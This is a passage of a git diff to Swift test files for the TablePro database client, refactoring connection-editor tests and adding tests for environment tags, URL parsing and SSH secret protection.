WorkspaceRailCellTextTests { let failed = try #require(configuredCell(for: makeEntry(status: .failed(cause: nil))).renderedTile) let connected = try #require(configuredCell(for: makeEntry()).renderedTile) #expect(pixels(failed.image) == pixels(connected.image)) - #expect(failed.glyphTint == connected.glyphTint) + #expect(resolved(failed.glyphTint, in: .aqua) == resolved(connected.glyphTint, in: .aqua)) + #expect(resolved(failed.glyphTint, in: .darkAqua) == resolved(connected.glyphTint, in: .darkAqua)) } private static let railLayouts: [WorkspaceRailMetrics.Layout] = [ @@ -852,6 +855,13 @@ struct WorkspaceRailCellTextTests { private static let customIcon = "server.rack" + // The glyph tint is a dynamic colour, so two of them only compare once resolved in one appearance. + private func resolved(_ color: NSColor?, in name: NSAppearance.Name) -> CGColor? { + var cgColor: CGColor? + NSAppearance(named: name)?.performAsCurrentDrawingAppearance { cgColor = color?.cgColor } + return cgColor + } + private func pixels(_ image: NSImage?) -> Data? { image?.tiffRepresentation } diff --git a/apple/TableProTests/Core/Storage/ConnectionStorageImportTests.swift b/apple/TableProTests/Core/Storage/ConnectionStorageImportTests.swift index 2249c46ab5..9e944d9ad8 100644 --- a/apple/TableProTests/Core/Storage/ConnectionStorageImportTests.swift +++ b/apple/TableProTests/Core/Storage/ConnectionStorageImportTests.swift @@ -111,11 +111,16 @@ struct ConnectionStorageImportTests { func connectionFormExplainsUnreadableLibrary() throws { let corrupt = Data("not json".utf8) try corrupt.write(to: fileURL) - let coordinator = ConnectionFormCoordinator(connectionId: nil, services: try services(with: makeStorage())) + let store = ConnectionEditorStore( + request: .new(type: .mysql, parsedURL: nil), + services: services(with: try makeStorage()) + ) + store.update { $0.name = "Orders" } - coordinator.save() + store.save() - #expect(coordinator.saveError == String( + #expect(store.saveError == .libraryUnreadable) + #expect(store.saveError?.errorDescription == String( localized: "TablePro could not read your saved connections, so it did not save over them." )) #expect(try Data(contentsOf: fileURL) == corrupt) diff --git a/apple/TableProTests/Core/Utilities/ConnectionURLEnvironmentTests.swift b/apple/TableProTests/Core/Utilities/ConnectionURLEnvironmentTests.swift new file mode 100644 index 0000000000..190682ee4a --- /dev/null +++ b/apple/TableProTests/Core/Utilities/ConnectionURLEnvironmentTests.swift @@ -0,0 +1,62 @@ +// +// ConnectionURLEnvironmentTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionURLEnvironmentTests { + private func connection(environment: ConnectionEnvironment?) -> DatabaseConnection { + var connection = DatabaseConnection( + name: "", host: "db.example.com", port: 5_432, database: "orders", + username: "app", type: .postgresql, sslConfig: SSLConfiguration(mode: DatabaseType.postgresql.defaultSSLMode) + ) + connection.tagIds = [UUID()] + if let environment { + connection.additionalFields[ConnectionEnvironment.fieldKey] = environment.rawValue + } + return connection + } + + private func parse(_ urlString: String) throws -> ParsedConnectionURL { + guard case .success(let parsed) = ConnectionURLParser.parse(urlString) else { + throw ConnectionURLParseError.invalidURL + } + return parsed + } + + @Test("Copy as URL names the connection's Environment, not its first tag") + func formatterWritesTheEnvironment() throws { + let url = ConnectionURLFormatter.format(connection(environment: .staging), password: nil, sshPassword: nil) + + #expect(url == "postgresql://app@db.example.com/orders?env=staging") + #expect(try parse(url).environment == .staging) + } + + @Test("A connection with no Environment writes no env parameter, whatever its tags") + func formatterSkipsNoEnvironment() { + let url = ConnectionURLFormatter.format(connection(environment: nil), password: nil, sshPassword: nil) + + #expect(!url.contains("env=")) + } + + @Test("An env parameter in a link sets the Environment and adds no tag") + func linkSetsTheEnvironment() throws { + let opened = TransientConnectionFactory.build(from: try parse("postgresql://db.example.com/orders?env=prod")) + + #expect(ConnectionEnvironment.stored(in: opened.additionalFields) == .production) + #expect(opened.tagIds.isEmpty) + } + + @Test("An env name that is no Environment leaves it unset") + func linkIgnoresAnUnknownEnvironment() throws { + let opened = TransientConnectionFactory.build(from: try parse("postgresql://db.example.com/orders?env=qa")) + + #expect(ConnectionEnvironment.stored(in: opened.additionalFields) == .none) + } +} diff --git a/apple/TableProTests/Core/Utilities/ConnectionURLParserTLSPortTests.swift b/apple/TableProTests/Core/Utilities/ConnectionURLParserTLSPortTests.swift index aa34392ba4..073578b671 100644 --- a/apple/TableProTests/Core/Utilities/ConnectionURLParserTLSPortTests.swift +++ b/apple/TableProTests/Core/Utilities/ConnectionURLParserTLSPortTests.swift @@ -202,13 +202,12 @@ struct ConnectionURLParserTLSPortTests { @Test("Importing etcds:// into the form sets TLS Mode to Required, and a plain etcd:// import sets it to Disabled") func etcdFormImportSetsTLSMode() throws { - let secure = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: try parse("etcds://etcd.example.com:2379")) - secure.start() - #expect(secure.advanced.additionalFieldValues["etcdTlsMode"] == "Required") - #expect(secure.ssl.mode == .disabled) - - let plain = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: try parse("etcd://etcd.example.com:2379")) - plain.start() - #expect(plain.advanced.additionalFieldValues["etcdTlsMode"] == "Disabled") + let fixture = try ConnectionEditorStoreFixture() + let secure = fixture.makeStore(.new(type: nil, parsedURL: try parse("etcds://etcd.example.com:2379"))) + #expect(secure.draft.fieldValues["etcdTlsMode"] == "Required") + #expect(secure.draft.ssl.mode == .disabled) + + let plain = fixture.makeStore(.new(type: nil, parsedURL: try parse("etcd://etcd.example.com:2379"))) + #expect(plain.draft.fieldValues["etcdTlsMode"] == "Disabled") } } diff --git a/apple/TableProTests/Core/Utilities/ImportedSSLModeResolutionTests.swift b/apple/TableProTests/Core/Utilities/ImportedSSLModeResolutionTests.swift index 08424ecd81..de6e496abb 100644 --- a/apple/TableProTests/Core/Utilities/ImportedSSLModeResolutionTests.swift +++ b/apple/TableProTests/Core/Utilities/ImportedSSLModeResolutionTests.swift @@ -64,9 +64,9 @@ struct ImportedSSLModeResolutionTests { ]) func formAndDeepLinkAgree(url: String) throws { let parsed = try parse(url) - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: parsed) - coordinator.start() - #expect(coordinator.ssl.mode == TransientConnectionFactory.build(from: parsed).sslConfig.mode) + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: nil, parsedURL: parsed)) + #expect(store.draft.ssl.mode == TransientConnectionFactory.build(from: parsed).sslConfig.mode) } @Test("The form and a deep link open the same port for the same URL", arguments: [ @@ -78,10 +78,10 @@ struct ImportedSSLModeResolutionTests { ]) func formAndDeepLinkAgreeOnPort(url: String) throws { let parsed = try parse(url) - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: parsed) - coordinator.start() + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: nil, parsedURL: parsed)) let transient = TransientConnectionFactory.build(from: parsed) - #expect(coordinator.network.port == String(transient.port)) + #expect(store.draft.portText == String(transient.port)) #expect(transient.port == parsed.resolvedPort) } } diff --git a/apple/TableProTests/Helpers/FakeMSSQLPlugin.swift b/apple/TableProTests/Helpers/FakeMSSQLPlugin.swift index a21c207a64..094e768577 100644 --- a/apple/TableProTests/Helpers/FakeMSSQLPlugin.swift +++ b/apple/TableProTests/Helpers/FakeMSSQLPlugin.swift @@ -80,6 +80,7 @@ final class FakeMSSQLPlugin: NSObject, TableProPlugin, DriverPlugin { private static let connectFailures = OSAllocatedUnfairLock<[String: ConnectFailure]>(initialState: [:]) private static let connectHolds = OSAllocatedUnfairLock<[String: FakeMSSQLConnectHold]>(initialState: [:]) private static let connectWarnings = OSAllocatedUnfairLock<[String: String]>(initialState: [:]) + private static let serverVersions = OSAllocatedUnfairLock<[String: String]>(initialState: [:]) private static let createdDriverConfigurations = OSAllocatedUnfairLock<[String: [CreatedDriverConfiguration]]>( initialState: [:] ) @@ -101,6 +102,15 @@ final class FakeMSSQLPlugin: NSObject, TableProPlugin, DriverPlugin { _ = connectWarnings.withLock { $0.removeValue(forKey: connectionId.uuidString) } } + // Reported while connected and forgotten on disconnect, as libpq's driver does. + static func reportServerVersion(for connectionId: UUID, version: String) { + serverVersions.withLock { $0[connectionId.uuidString] = version } + } + + static func clearServerVersion(for connectionId: UUID) { + _ = serverVersions.withLock { $0.removeValue(forKey: connectionId.uuidString) } + } + static func holdConnect(for connectionId: UUID) -> FakeMSSQLConnectHold { let hold = FakeMSSQLConnectHold() connectHolds.withLock { $0[connectionId.uuidString] = hold } @@ -136,8 +146,9 @@ final class FakeMSSQLPlugin: NSObject, TableProPlugin, DriverPlugin { $0[connectionId]?.append(createdConfiguration) } let connectWarning = Self.connectWarnings.withLock { $0[connectionId] } + let serverVersion = Self.serverVersions.withLock { $0[connectionId] } guard let failure = Self.connectFailures.withLock({ $0[connectionId] }) else { - return FakeMSSQLPluginDriver(connectHold: connectHold, connectWarning: connectWarning) + return FakeMSSQLPluginDriver(connectHold: connectHold, connectWarning: connectWarning, serverVersion: serverVersion) } return FakeMSSQLPluginDriver( connectFailure: failure.error, @@ -166,19 +177,24 @@ final class FakeMSSQLPluginDriver: PluginDriverStub, @unchecked Sendable { private let connectWarning: String? private let queryTimeoutValues = OSAllocatedUnfairLock<[Int]>(initialState: []) private let reportedWarning = OSAllocatedUnfairLock(initialState: nil) + private let signInServerVersion: String? + private let connectedServerVersion = OSAllocatedUnfairLock(initialState: nil) var connectionWarning: String? { reportedWarning.withLock { $0 } } + var serverVersion: String? { connectedServerVersion.withLock { $0 } } init( connectFailure: (any Error & Sendable)? = nil, connectDelay: Duration = .zero, connectHold: FakeMSSQLConnectHold? = nil, - connectWarning: String? = nil + connectWarning: String? = nil, + serverVersion: String? = nil ) { self.connectFailure = connectFailure self.connectDelay = connectDelay self.connectHold = connectHold self.connectWarning = connectWarning + self.signInServerVersion = serverVersion } func connect() async throws { @@ -190,8 +206,12 @@ final class FakeMSSQLPluginDriver: PluginDriverStub, @unchecked Sendable { } if let connectFailure { throw connectFailure } reportedWarning.withLock { $0 = connectWarning } + connectedServerVersion.withLock { $0 = signInServerVersion } + } + func disconnect() { + disconnectCallCount += 1 + connectedServerVersion.withLock { $0 = nil } } - func disconnect() { disconnectCallCount += 1 } // SQL Server moves a live session with USE, so a statement pinned to a database after a reconnect lands. func switchDatabase(to database: String) async throws {} diff --git a/apple/TableProTests/Models/Connection/ConnectionEnvironmentTests.swift b/apple/TableProTests/Models/Connection/ConnectionEnvironmentTests.swift new file mode 100644 index 0000000000..4290235d70 --- /dev/null +++ b/apple/TableProTests/Models/Connection/ConnectionEnvironmentTests.swift @@ -0,0 +1,64 @@ +// +// ConnectionEnvironmentTests.swift +// TableProTests +// + +import AppKit +import SwiftUI +@testable import TablePro +import TableProConnectionLibrary +import Testing + +struct ConnectionEnvironmentTests { + @Test("Each environment has a symbol this Mac can draw, and none has no symbol") + func symbols() { + #expect(ConnectionEnvironment.none.symbolName == nil) + for environment in ConnectionEnvironment.allCases where environment != .none { + let image = environment.symbolName.flatMap { NSImage(systemSymbolName: $0, accessibilityDescription: nil) } + #expect(image != nil, "\(environment.rawValue)") + } + } + + @Test("Production never draws the triangle a failed status or a missing driver draws on the same row") + func productionIsNotTheWarningTriangle() { + let production = ConnectionEnvironment.production.symbolName + #expect(production != ConnectionStatusSymbol.failed.systemName) + #expect(production != ConnectionStatusSymbol.lost.systemName) + #expect(production != "exclamationmark.triangle.fill") + } + + @Test("Production is red, Staging orange, Development green, Local secondary") + func tints() { + #expect(ConnectionEnvironment.production.tint == .red) + #expect(ConnectionEnvironment.staging.tint == .orange) + #expect(ConnectionEnvironment.development.tint == .green) + #expect(ConnectionEnvironment.local.tint == .secondary) + } + + @Test("Every environment has its own symbol and tint, so Production stands apart") + func distinctPresentation() { + let shown = ConnectionEnvironment.allCases.filter { $0 != .none } + let symbols = Set(shown.compactMap { $0.symbolName }) + let red = shown.filter { $0.tint == ConnectionEnvironment.production.tint } + #expect(symbols.count == shown.count) + #expect(red == [.production]) + } + + @Test("VoiceOver names the environment so Local does not read as the Local only sync flag") + func accessibilityNames() { + #expect(ConnectionEnvironment.none.accessibilityName == nil) + #expect(ConnectionEnvironment.production.accessibilityName == "Production environment") + #expect(ConnectionEnvironment.staging.accessibilityName == "Staging environment") + #expect(ConnectionEnvironment.development.accessibilityName == "Development environment") + #expect(ConnectionEnvironment.local.accessibilityName == "Local environment") + } + + @Test("The stored field reads back as its environment, and a missing or unknown value as none") + func storedValue() { + #expect(ConnectionEnvironment.stored(in: [ConnectionEnvironment.fieldKey: "production"]) == .production) + #expect(ConnectionEnvironment.stored(in: [ConnectionEnvironment.fieldKey: "local"]) == .local) + #expect(ConnectionEnvironment.stored(in: [ConnectionEnvironment.fieldKey: "qa"]) == .none) + #expect(ConnectionEnvironment.stored(in: [:]) == .none) + #expect(ConnectionEnvironment.stored(in: nil) == .none) + } +} diff --git a/apple/TableProTests/Models/Connection/SSHSecretRevealProvenanceTests.swift b/apple/TableProTests/Models/Connection/SSHSecretRevealProvenanceTests.swift index d10db91265..276cae8bb7 100644 --- a/apple/TableProTests/Models/Connection/SSHSecretRevealProvenanceTests.swift +++ b/apple/TableProTests/Models/Connection/SSHSecretRevealProvenanceTests.swift @@ -4,33 +4,61 @@ import Testing @testable import TablePro -// A secret that came out of a Keychain must ask for authentication before the Show toggle reveals it. +// A secret that came out of a Keychain must ask for authentication before the Show button reveals it. struct SSHSecretRevealProvenanceTests { @Test func profileSecretsStayProtectedAfterSwitchingToInline() { - var state = SSHTunnelFormState() - state.enabled = true - state.profileId = UUID() - state.adoptProfileSecrets(password: "hunter2", keyPassphrase: "phrase", totpSecret: "JBSWY3DP") + var draft = ConnectionDraft(type: .postgresql) + draft.transport = .ssh + draft.ssh.profileId = UUID() + draft.ssh.adoptKeychainSecrets(password: "hunter2", keyPassphrase: "phrase", totpSecret: "JBSWY3DP") - state.profileId = nil + draft.selectSSHProfile(nil, profiles: []) - #expect(state.savedSecrets == [.password, .keyPassphrase, .totpSecret]) + #expect(draft.ssh.password == "hunter2") + #expect(draft.ssh.keyPassphrase == "phrase") + #expect(draft.ssh.totpSecret == "JBSWY3DP") + #expect(draft.ssh.savedSecrets == [.password, .keyPassphrase, .totpSecret]) } @Test func emptyProfileSecretsAreNotProtected() { - var state = SSHTunnelFormState() - state.adoptProfileSecrets(password: "hunter2", keyPassphrase: "", totpSecret: "") + var ssh = SSHDraft() + ssh.adoptKeychainSecrets(password: "hunter2", keyPassphrase: "", totpSecret: nil) - #expect(state.savedSecrets == [.password]) + #expect(ssh.savedSecrets == [.password]) } - @Test func disablingTheTunnelDropsProfileProvenance() { - var state = SSHTunnelFormState() - state.adoptProfileSecrets(password: "hunter2", keyPassphrase: "phrase", totpSecret: "JBSWY3DP") + // The old form cleared its fields with the tunnel; this one keeps them, so the guard stays with them. + @Test func turningTheTransportOffKeepsTheValuesProtected() { + var draft = ConnectionDraft(type: .postgresql) + draft.transport = .ssh + draft.ssh.adoptKeychainSecrets(password: "hunter2", keyPassphrase: "phrase", totpSecret: "JBSWY3DP") - state.disable() + draft.selectTransport(nil) + draft.selectTransport(.ssh) - #expect(state.savedSecrets.isEmpty) + #expect(draft.ssh.password == "hunter2") + #expect(draft.ssh.savedSecrets == [.password, .keyPassphrase, .totpSecret]) + } + + @Test func retypingTheConnectionKeepsTheValuesProtected() { + let mysql = ConnectionTypeTraits(type: .mysql) + let mariadb = ConnectionTypeTraits(type: .mariadb) + var draft = ConnectionDraft(type: .mysql) + draft.ssh.adoptKeychainSecrets(password: "hunter2", keyPassphrase: nil, totpSecret: nil) + + draft.retype(to: mariadb, from: mysql) + + #expect(draft.ssh.password == "hunter2") + #expect(draft.ssh.savedSecrets == [.password]) + } + + @Test func secretsTypedHereAreNotProtected() { + var ssh = SSHDraft() + ssh.password = "typed" + ssh.keyPassphrase = "typed" + ssh.totpSecret = "JBSWY3DP" + + #expect(ssh.savedSecrets.isEmpty) } @Test func filledSecretsNamesOnlyNonEmptyValues() { diff --git a/apple/TableProTests/Plugins/SSLHandshakeErrorTests.swift b/apple/TableProTests/Plugins/SSLHandshakeErrorTests.swift index d0e8a37ebb..37c4ceead3 100644 --- a/apple/TableProTests/Plugins/SSLHandshakeErrorTests.swift +++ b/apple/TableProTests/Plugins/SSLHandshakeErrorTests.swift @@ -57,7 +57,7 @@ struct SSLHandshakeErrorTests { func testClientKeyInvalid() { let error = SSLHandshakeError.clientKeyInvalid(serverMessage: "not a PEM") #expect(error.errorDescription?.contains("malformed") == true) - #expect(error.recoverySuggestion?.contains("Client Key") == true) + #expect(error.recoverySuggestion?.contains("Client Certificates") == true) } @Test("cipherMismatch suggests server update") diff --git a/apple/TableProTests/SOCKS/SOCKSProxyModelTests.swift b/apple/TableProTests/SOCKS/SOCKSProxyModelTests.swift index 01aab6b81a..c2ebc50415 100644 --- a/apple/TableProTests/SOCKS/SOCKSProxyModelTests.swift +++ b/apple/TableProTests/SOCKS/SOCKSProxyModelTests.swift @@ -101,15 +101,18 @@ struct SOCKSProxyModelTests { #expect(restored.socksProxyMode == connection.socksProxyMode) } - @Test("SOCKS form state builds the tunnel mode and loads it back") - func formStateRoundTrip() { - var state = SOCKSProxyFormState() - state.enabled = true - state.host = " proxy.example.com " - state.port = "9150" - state.username = "tester" - - guard case .inline(let config) = state.buildTunnelMode() else { + @Test("The editor's SOCKS draft writes the tunnel mode trimmed and loads it back") + @MainActor + func draftRoundTrip() { + let postgres = ConnectionTypeTraits.live(for: .postgresql, pluginManager: .shared) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.selectTransport(.socksProxy) + draft.socksProxy.host = " proxy.example.com " + draft.socksProxy.port = "9150" + draft.socksProxy.username = "tester" + + let edits = ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()) + guard case .inline(let config) = edits.socksProxyMode else { Issue.record("Expected an inline mode") return } @@ -117,15 +120,18 @@ struct SOCKSProxyModelTests { #expect(config.port == 9_150) #expect(config.username == "tester") - var reloaded = SOCKSProxyFormState() - reloaded.load(from: DatabaseConnection(name: "P", type: .postgresql, socksProxyMode: .inline(config))) - #expect(reloaded.enabled) - #expect(reloaded.host == "proxy.example.com") - #expect(reloaded.port == "9150") - #expect(reloaded.username == "tester") - - var disabled = SOCKSProxyFormState() - disabled.load(from: DatabaseConnection(name: "P", type: .postgresql)) - #expect(!disabled.enabled) + let reloaded = ConnectionDraft.loaded( + from: DatabaseConnection(name: "P", type: .postgresql, socksProxyMode: .inline(config)), + secrets: .none, + traits: postgres + ) + #expect(reloaded.transport == .socksProxy) + #expect(reloaded.socksProxy.host == "proxy.example.com") + #expect(reloaded.socksProxy.port == "9150") + #expect(reloaded.socksProxy.username == "tester") + + let disabled = ConnectionDraft.loaded(from: DatabaseConnection(name: "P", type: .postgresql), secrets: .none, traits: postgres) + #expect(disabled.transport == nil) + #expect(ConnectionEditorEngine.edits(disabled, postgres, originalTraits: nil, EditorContext()).socksProxyMode == .disabled) } } diff --git a/apple/TableProTests/SOCKS/SOCKSProxyPaneViewModelTests.swift b/apple/TableProTests/SOCKS/SOCKSProxyPaneViewModelTests.swift deleted file mode 100644 index 687e3efdab..0000000000 --- a/apple/TableProTests/SOCKS/SOCKSProxyPaneViewModelTests.swift +++ /dev/null @@ -1,56 +0,0 @@ -// -// SOCKSProxyPaneViewModelTests.swift -// TableProTests -// - -import Foundation -import Testing - -@testable import TablePro - -@MainActor -struct SOCKSProxyPaneViewModelTests { - @Test("disabled reports no issues") - func disabledNoIssues() { - let viewModel = SOCKSProxyPaneViewModel() - viewModel.state.enabled = false - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("enabled requires a host") - func requiresHost() { - let viewModel = SOCKSProxyPaneViewModel() - viewModel.state.enabled = true - viewModel.state.host = " " - #expect(viewModel.validationIssues.contains { $0.localizedCaseInsensitiveContains("host") }) - - viewModel.state.host = "proxy.example.com" - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("port must be in range") - func portRange() { - let viewModel = SOCKSProxyPaneViewModel() - viewModel.state.enabled = true - viewModel.state.host = "proxy.example.com" - - viewModel.state.port = "70000" - #expect(viewModel.validationIssues.contains { $0.localizedCaseInsensitiveContains("port") }) - - viewModel.state.port = "not-a-port" - #expect(viewModel.validationIssues.contains { $0.localizedCaseInsensitiveContains("port") }) - - viewModel.state.port = "1080" - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("credentials are optional") - func credentialsOptional() { - let viewModel = SOCKSProxyPaneViewModel() - viewModel.state.enabled = true - viewModel.state.host = "proxy.example.com" - viewModel.state.username = "" - viewModel.state.password = "" - #expect(viewModel.validationIssues.isEmpty) - } -} diff --git a/apple/TableProTests/TunnelCommand/TunnelCommandModelTests.swift b/apple/TableProTests/TunnelCommand/TunnelCommandModelTests.swift index 468ce79f26..7c9d35b768 100644 --- a/apple/TableProTests/TunnelCommand/TunnelCommandModelTests.swift +++ b/apple/TableProTests/TunnelCommand/TunnelCommandModelTests.swift @@ -62,21 +62,30 @@ struct TunnelCommandModelTests { #expect(decoded.tunnelCommandMode == connection.tunnelCommandMode) } - @Test("form state loads and rebuilds the mode, trimming as it goes") - func formStateRoundTrip() { + @Test("the editor's draft loads and rebuilds the mode, trimming as it goes") + @MainActor + func draftRoundTrip() { + let postgres = ConnectionTypeTraits.live(for: .postgresql, pluginManager: .shared) var connection = DatabaseConnection(name: "K8s", type: .postgresql) connection.tunnelCommandMode = .inline(kubectlConfig()) - var state = TunnelCommandFormState() - state.load(from: connection) - #expect(state.enabled) - #expect(state.buildTunnelMode() == connection.tunnelCommandMode) - - state.config.kubernetesResource = " service/postgres " - #expect(state.buildConfig().kubernetesResource == "service/postgres") - - state.enabled = false - #expect(state.buildTunnelMode() == .disabled) + var draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: postgres) + #expect(draft.transport == .tunnelCommand) + #expect(ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()).tunnelCommandMode + == connection.tunnelCommandMode) + + draft.tunnelCommand.config.kubernetesResource = " service/postgres " + #expect(draft.tunnelCommand.trimmedConfiguration.kubernetesResource == "service/postgres") + guard case .inline(let written) = ConnectionEditorEngine.edits( + draft, postgres, originalTraits: nil, EditorContext() + ).tunnelCommandMode else { + Issue.record("Expected an inline mode") + return + } + #expect(written.kubernetesResource == "service/postgres") + + draft.selectTransport(nil) + #expect(ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()).tunnelCommandMode == .disabled) } @Test("the export bridge round-trips every field") diff --git a/apple/TableProTests/TunnelCommand/TunnelCommandPreviewTests.swift b/apple/TableProTests/TunnelCommand/TunnelCommandPreviewTests.swift deleted file mode 100644 index 5cd73e73b1..0000000000 --- a/apple/TableProTests/TunnelCommand/TunnelCommandPreviewTests.swift +++ /dev/null @@ -1,46 +0,0 @@ -// -// TunnelCommandPreviewTests.swift -// TableProTests -// - -import Foundation -import Testing - -@testable import TablePro - -@MainActor -struct TunnelCommandPreviewTests { - private func coordinator(type: DatabaseType) -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = type - coordinator.transport = .tunnelCommand - return coordinator - } - - @Test("A cleared Port previews the engine's default port, which is what connects") - func clearedPortPreviewsDefaultPort() throws { - let coordinator = coordinator(type: .postgresql) - coordinator.tunnelCommand.state.config.method = .kubectl - coordinator.tunnelCommand.state.config.kubernetesResource = "service/postgres" - coordinator.network.port = "" - - let preview = try #require(coordinator.tunnelCommandPreview) - - #expect(preview.contains("{port}:5432")) - #expect(!preview.contains(":0")) - } - - @Test("A host-list connection previews the first listed node, which is what connects") - func hostListPreviewsFirstListedNode() throws { - let coordinator = coordinator(type: .redis) - coordinator.network.host = "" - coordinator.network.additionalFieldValues["redisMode"] = "cluster" - coordinator.network.additionalFieldValues["redisClusterHosts"] = "a.example:7000,b.example:7001" - coordinator.tunnelCommand.state.config.method = .custom - coordinator.tunnelCommand.state.config.command = "forward {port} {host}:{remotePort}" - - let preview = try #require(coordinator.tunnelCommandPreview) - - #expect(preview == "forward '{port}' a.example:7000") - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionFormChildObservationTests.swift b/apple/TableProTests/ViewModels/ConnectionFormChildObservationTests.swift deleted file mode 100644 index 1672d26628..0000000000 --- a/apple/TableProTests/ViewModels/ConnectionFormChildObservationTests.swift +++ /dev/null @@ -1,87 +0,0 @@ -// -// ConnectionFormChildObservationTests.swift -// TableProTests -// -// Every connection form pane observes the coordinator and reads its values through a child view -// model. A change inside a child that never reached the coordinator's publisher left the pane as -// it was drawn, which is how picking Sentinel kept the Redis mode picker on Standalone. -// - -import Combine -import Foundation -import Testing - -@testable import TablePro - -@MainActor -struct ConnectionFormChildObservationTests { - private final class ChangeCounter { - private(set) var sends = 0 - private var subscription: AnyCancellable? - - init(_ coordinator: ConnectionFormCoordinator) { - subscription = coordinator.objectWillChange.sink { [weak self] in self?.sends += 1 } - } - } - - private func children(of coordinator: ConnectionFormCoordinator) -> [(String, ObservableObjectPublisher)] { - [ - ("network", coordinator.network.objectWillChange), - ("auth", coordinator.auth.objectWillChange), - ("ssh", coordinator.ssh.objectWillChange), - ("remoteFile", coordinator.remoteFile.objectWillChange), - ("cloudflareTunnel", coordinator.cloudflareTunnel.objectWillChange), - ("cloudSQLProxy", coordinator.cloudSQLProxy.objectWillChange), - ("socksProxy", coordinator.socksProxy.objectWillChange), - ("tunnelCommand", coordinator.tunnelCommand.objectWillChange), - ("ssl", coordinator.ssl.objectWillChange), - ("customization", coordinator.customization.objectWillChange), - ("advanced", coordinator.advanced.objectWillChange), - ("aiRules", coordinator.aiRules.objectWillChange), - ] - } - - @Test("a value changed inside a child reaches the coordinator's observers") - func childValueChangeReachesCoordinator() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - let counter = ChangeCounter(coordinator) - - coordinator.network.additionalFieldValues["redisMode"] = "sentinel" - - #expect(counter.sends == 1) - } - - @Test("every child forwards its changes") - func everyChildForwards() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - - for (name, publisher) in children(of: coordinator) { - let counter = ChangeCounter(coordinator) - publisher.send() - #expect(counter.sends == 1, "\(name) did not reach the coordinator") - } - } - - @Test("a replaced child forwards, and the one it replaced goes quiet") - func replacedChildForwards() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - let replaced = coordinator.network - let replacement = NetworkPaneViewModel() - coordinator.network = replacement - let counter = ChangeCounter(coordinator) - - replaced.type = .postgresql - #expect(counter.sends == 0) - - replacement.type = .postgresql - #expect(counter.sends == 1) - } - - @Test("a new connection saved Local only has nothing in iCloud Keychain to remove") - func newLocalOnlyConnectionRemovesNothing() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.advanced.localOnly = true - - #expect(!coordinator.removesSyncedSecretsOnSave) - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionFormDisclosureStateTests.swift b/apple/TableProTests/ViewModels/ConnectionFormDisclosureStateTests.swift deleted file mode 100644 index 0be8e1ab4b..0000000000 --- a/apple/TableProTests/ViewModels/ConnectionFormDisclosureStateTests.swift +++ /dev/null @@ -1,60 +0,0 @@ -// -// ConnectionFormDisclosureStateTests.swift -// TableProTests -// -// The connection form opens with only General visible and the rest behind disclosures. These -// cover the coordinator signals the form reads to open the sections a connection already uses. -// - -import Foundation -import TableProPluginKit -import Testing - -@testable import TablePro - -@MainActor -struct ConnectionFormDisclosureStateTests { - private func coordinator(type: DatabaseType = .mysql) -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = type - return coordinator - } - - @Test("a plain connection reports no configured network") - func directIsNotConfigured() { - #expect(coordinator().networkIsConfigured == false) - } - - @Test("a transport opens the Network section") - func transportIsConfigured() { - let coordinator = coordinator() - coordinator.transport = .ssh - #expect(coordinator.networkIsConfigured) - #expect(coordinator.networkSummary.contains(ConnectionTunnelKind.ssh.displayName)) - } - - @Test("a client certificate opens the Network section") - func clientCertIsConfigured() { - let coordinator = coordinator() - coordinator.ssl.clientCertPath = "/tmp/client.crt" - #expect(coordinator.networkIsConfigured) - } - - @Test("a direct connection summary does not name a tunnel") - func directSummaryHasNoTunnel() { - let summary = coordinator().networkSummary - #expect(summary.contains(ConnectionTunnelKind.ssh.displayName) == false) - } - - @Test("a plain connection is not customized") - func defaultAppearanceIsNotCustomized() { - #expect(coordinator().appearanceIsCustomized == false) - } - - @Test("a chosen icon opens the Appearance section") - func iconIsCustomized() { - let coordinator = coordinator() - coordinator.customization.iconName = "star.fill" - #expect(coordinator.appearanceIsCustomized) - } -} diff --git a/apple/TableProTests/ViewModels/ConnectionFormEditsTests.swift b/apple/TableProTests/ViewModels/ConnectionFormEditsTests.swift index 9e2ec6178f..e271947852 100644 --- a/apple/TableProTests/ViewModels/ConnectionFormEditsTests.swift +++ b/apple/TableProTests/ViewModels/ConnectionFormEditsTests.swift @@ -125,14 +125,15 @@ struct ConnectionFormEditsTests { @Test("The form's edits carry what Forget took off the list") @MainActor - func coordinatorCarriesForgottenTools() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.advanced.load(from: populatedConnection()) + func draftCarriesForgottenTools() { + let mysql = ConnectionTypeTraits.live(for: .mysql, pluginManager: .shared) + var draft = ConnectionDraft.loaded(from: populatedConnection(), secrets: .none, traits: mysql) - coordinator.advanced.forgetAlwaysAllowed("run_query") - let saved = coordinator.buildEdits().applied(to: populatedConnection()) + draft.forgetAlwaysAllowed("run_query") + let edits = ConnectionEditorEngine.edits(draft, mysql, originalTraits: mysql, EditorContext()) + let saved = edits.applied(to: populatedConnection()) - #expect(coordinator.buildEdits().revokedAIAlwaysAllowedTools == ["run_query"]) + #expect(edits.revokedAIAlwaysAllowedTools == ["run_query"]) #expect(saved.aiAlwaysAllowedTools == ["list_tables"]) } @@ -173,12 +174,12 @@ struct 